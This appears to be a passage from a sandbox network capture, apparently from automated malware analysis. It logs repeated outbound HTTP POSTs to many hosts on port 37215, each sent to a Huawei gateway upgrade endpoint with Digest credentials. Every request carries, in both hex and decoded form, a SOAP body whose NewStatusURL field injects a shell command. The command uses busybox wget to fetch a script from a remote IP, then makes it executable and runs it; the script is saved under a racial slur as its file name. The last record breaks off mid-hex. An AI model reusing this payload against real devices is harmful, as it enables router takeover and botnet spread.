3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.23	47828	94.120.46.236	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:15.308178902 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.23	54498	94.120.222.226	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:15.308259964 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.23	53244	94.123.92.148	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:15.308336973 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.23	48500	94.123.121.88	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:15.308413029 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.23	58344	94.120.53.181	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:15.308487892 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.23	57174	94.121.183.173	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:15.308559895 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.23	58404	94.122.116.133	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:15.308640957 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:16.429963112 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:17.741813898 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 